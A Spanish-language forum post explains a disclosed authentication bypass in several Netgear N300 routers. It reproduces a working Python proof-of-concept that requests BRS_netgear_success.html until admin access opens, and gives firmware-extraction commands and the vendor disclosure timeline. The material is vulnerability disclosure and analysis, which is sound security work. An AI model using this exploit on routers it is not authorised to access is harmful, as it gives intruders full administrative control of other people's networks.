Salto del sistema de autenticación en varios routers Netgear "300n" (Pagina 1) / Otras marcas / Foro Wifi-libre.com

El libre pensamiento para un internet libre

No estas registrado.     

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

#1 09-10-2015 17:15:35

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,069

Salto del sistema de autenticación en varios routers Netgear "300n"

Salto del sistema de autenticación (authentification bypass) de varios modelos Netgear "300n"

n300.png

¡Buenos días [email protected]!
  Hoy vamos a ver en detalles como Adrián de shellscocklabs ha conseguido saltarse el protocolo de autenticación de la interfaz de administración de los Netgear JWNR2010v5 (ver imagen más arriba)
fuente:

  Desde entonces la vulnerabilidad ha sido publicada en Packet Storm (ayer) por otra persona (Daniel hacke) quien ha podido comprobar que su dispositivo (un netgear WNR1000v4) esta también afectado.
fuente:

  Tenemos por la tanto varias imágenes (antiguas y actuales) de firmnware Netgear que conllevan esta brecha que podríamos clasificar como "severa".
Un usuario "normal" conectado a la red local y no autorizado a configurar el router puede así adquirir fraudulentamente los derechos de administración (brecha de tipo "escala de privilegios")
Peor aún: cualquiera operación de intrusión exitosa es sinónima de máximo peligro ya que  la obtención de los derechos de administración es "pan comido".

  Una de las imágenes afectadas (la ultimá en corso) es la Version 1.1.0.31, empleada por 7 modelos :

  1. JNR1010v2

  2. WNR614

  3. WNR618

  4. JWNR2000v5

  5. WNR2020

  6. JWNR2010v5

  7. WNR1000v4

  8. WNR2020v2

Para descargar la imagen: JNR1010V2/N150_N300_FW_V1.1.0.31_1.0.1.zip 

Descripción de la brecha

Cuando nos conectamos a la interfaz "web" de gestión del router debemos introducir, como de constumbre, nuestro nombre de usuario y contraseña (pagina http).
Si no entramos los credenciales correctos estaremos dirigidos hacía el fichero "401_access_denied.htm" y tendremos el famoso "error 401"   
Podremos forzar el paso y olvidarnos del error 401 multiplicando las peticiones directas a la dirección :

http://<PUERTA_DE_ENLACE>/BRS_netgear_success.html

Lo habéis entendido : Es dónde llegaríamos si tendríamos la contraseña correctamente ( "BRS_netgear_success")
Una vez hecho, el control de acceso a la utilidad de gestión del dispositivo... se desvanece tongue
Podemos mover nos por la interfaz sin tener que entrar usuario o password. cool

Explotar la brecha

  No hace falta nada más que un navegador web... Una vez que hemos sido rechazados por no conocer los credenciales; copiamos y pegamos la dirección

http://<PUERTA_DE_ENLACE>/BRS_netgear_success.html multiple times

  Las veces que haga falta... 
...Con un poco de morro se llega al fin del mundo.   big_smile
Nada más. A un momento "peta". Literalmente. Y estamos a dentro,
Podemos usar el exploit en python publicado como PoC para hacer lo de forma automatizada :

import os
import urllib2
import time
import sys

try:
	first = urllib2.urlopen("http://" + sys.argv[1])
	print "No password protection!"
except:
	print "Password protection detected!"
	print "Executing exploit..."
	for i in range(0,3):
		time.sleep(1)
		urllib2.urlopen("http://" + sys.argv[1] + "/BRS_netgear_success.html")

	second = urllib2.urlopen("http://" + sys.argv[1])
	if second.getcode() == 200:
		print "Bypass successfull. Now use your browser to have a look at the admin interface."

El script lanza una serie de tres peticiones en bucle hasta que se obtenga el acceso.

Detalles sobre el proceso

  Echemos un ojo a los pasos que ha seguido Adrían y a sus explicaciones.

  Adrían tiene por costumbre de mirar gracias a un script los mensajes de error que devuelven cada elemento del servicio web.
Para los detalles, en su script las peticiones se hacen con curl. Así:

curl -s -o /dev/null -I -w "%{http_code}" 

  Primero nuestro amigo se di cuenta de que un usuario non autentificado podía acceder a los ficheros situados en webroot.
Dejando libre corso a su curiosidad se puso a probar  con su script. Cada vez que llegaba a un fichero, unos ficheros se volvían accesibles sin privilegios (su error 401 cambiaba por un 501) 

501http://192.168.1.1:8080/401_access_denied.htm
501http://192.168.1.1:8080/401_recovery.htm
401http://192.168.1.1:8080/Add_WPS_Client.htm
200http://192.168.1.1:8080/advanced.js
401http://192.168.1.1:8080/adv_index.htm
[...]
401http://192.168.1.1:8080/BAS_basictop.htm
200http://192.168.1.1:8080/bas_bpa.js
200http://192.168.1.1:8080/base.gif
401http://192.168.1.1:8080/BAS_ether_h.htm
401http://192.168.1.1:8080/BAS_ether.htm
[...]
401http://192.168.1.1:8080/BRS_05_networkIssue.html
401http://192.168.1.1:8080/BRS_check_manulConfig.html
401http://192.168.1.1:8080/BRS_hijack_index.htm
401http://192.168.1.1:8080/BRS_hijack_success.htm
401http://192.168.1.1:8080/BRS_index.htm
501http://192.168.1.1:8080/BRS_netgear_success.html [From this point every 401 error becomes a 501]
501http://192.168.1.1:8080/BRS_plzWait.html
501http://192.168.1.1:8080/BRS_RUS_auto_account_input.html
501http://192.168.1.1:8080/BRS_RUS_auto_attention.html
[...]

  Era solo la punta del iceberg :
Después de lanzar el script otra vez, todos los ficheros se pusieron a devolver errores 501 en lugar de 401...
El acceso a la interfaz web era posible sin conocer los credenciales...

¿Mas detalles?

Lo quieres saber todo... Tienes razón.
El autor del disclosure ha utilizado Binwalk para descomprimir el firmware bajado desde la web del fabricante. algo como

binwalk -e N300_1.1.0.31_1.0.1.img

  La salida enseña varias cosas:

DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
60352           0xEBC0          U-Boot boot loader reference
[...]
131072          0x20000         uImage header, header size: 64 bytes, header CRC: 0x23F4018D, created: Thu Nov 21 21:18:53 2013, image size: 1266253 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0xE8A06868, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
131136          0x20040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4632092 bytes
1441792         0x160000        Squashfs filesystem, little endian, version 4.0, compression:lzma (non-standard type definition), size: 2376782 bytes,  1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013
[...]
4028341         0x3D77B5        End of Zip archive
  • Se usa una arquitectura de tipo "MIPS"

  • Se usa un sistema de fichero "SquashFS" a partir de 0x160000

Se pueden descomprimir los ficheros SquashFS con el comando dd y unsquashfs

# dd if=N300.bin bs=1 of=N300.squashfs skip=1441792
2752512+0 records in
2752512+0 records out
2752512 bytes (2.8 MB) copied, 2.73591 s, 1.0 MB/s

# file N300.squashfs
N300.squashfs: Squashfs filesystem, little endian, version 4.0, 2376782 bytes, 1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013

# ./unsquashfs_all.sh N300.squashfs
[...]
created 850 files
created 60 directories
created 144 symlinks
created 106 devices
created 0 fifos
File system sucessfully extracted!

Y luego para entender el proceso es el "IDA time" (el momento de usar el desensamblador IDA)
Adrian ha empezado por buscar dónde llegaba siguiendo las huellas de  "BRS_netgear_success.html" y ha caído aquí :

n300.jpg

Dos funciones : una que se encarga de verificar la identificación y otra de comprobar las URL.

En la captura que sigue podréis ver lo que ocurre si solicitamos en nuestro barra de URL directamente a "netgear_sucess"
n300_2.jpg
  El camino en rojo es la brecha de seguridad 
Llegamos a un función intermedia (la ultima en la captura) que modifica en la NVRAM (en lo duro) el valor de dos variables de entorno.
Se atribuye el valor  "0" a las variables "need_not_login" y  "start_in_blankstate" = No tenemos que entrar credenciales y no son definidos (en blanco)
¡Un milagro! big_smile

...No, etas cosas no existen en informática tongue y todo tiene un porque... podemos "ver el salto" en esta ultima captura:

n300_3.jpg

Como en la captura precedente las flechas rojas indican el proceso que se pone de pie cuando se usa la brecha de seguridad y en paralelo podéis ver el proceso "legitimo"
Al hacer nuestra petición html hacía la paginá de éxito; el router se comporta como si sería la primera vez que lo enchufamos (no hay credenciales por entrar y el password esta en blanco)

  Con explicaciones tan claras los de netgear no deberían haber tardado mucho en sacar un update...
El problema es que no es el caso...
El autor del full disclosure les ha dejado tres meses para arreglar el falló antes de publicarlo.
Ha recibido entre tiempo una versión "beta" del firmware pero no arreglaba el falló.

timeline escribió:

Timeline:
---------
Vendor Status: works on patch-release
21.07.2015: Vendor notified per email ([email protected])
            -> No response
23.07.2015: Vendor notified via official chat support
24.07.2015: Support redirected notification to the technical team
29.07.2015: Requested status update and asked if they need further
assistance
            -> No response
21.08.2015: Notified vendor that we will go full disclosure within 90 days
if they do not react
03.09.2015: Support again said that they will redirect it to the technical
team
03.09.2015: Netgear sent some beta firmware version to look if the
vulnerability is fixed
03.09.2015: Confirmed to Netgear that the problem is solved in this version
            Asked Netgear when they plan to release the firmware with this
security fix
11.09.2015: Response from Netgear saying they will not disclose the patch
release day
15.09.2015: Asked Netgear again when they plan to publish the security fix
for the second time
            -> No response
29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS
06.10.2015: Forced public release of this advisory to follow up on [2]

  Muy similar a la actitud de Alfa Netwrok cuando contacté con ellos para señalar una puerta trasera (aún presente) en sus routers con chipset realteck "SDKproject"
  No se obtiene respuestas sin amenazar de publicar el falló y cuando se obtiene respuesta, se pasan la pelota entre servicios.
Y si al final no consiguen arreglar el fallo acaban por no responder y adoptar la política del avestruz.   
  Sería hora que los fabricantes cambien de actitud y sepan apreciar el trabajo gratis que se hace buscando brechas para prevenir sus fallos y mejor la seguridad de sus productos.

Desconectado

Anuncio

Wifi-highpower.es es distribuidor oficial de Alfa Network

Pie de página

Información del usuario

Ultimo usuario registrado: evam
Usuarios registrados conectados: 0
Invitados conectados: 3

Estadisticas de los foros

Número total de usuarios registrados: 357
Número total de temas: 621
Número total de mensajes: 4,272

Máx. usuarios conectados: 45 el 12-04-2016 12:02:20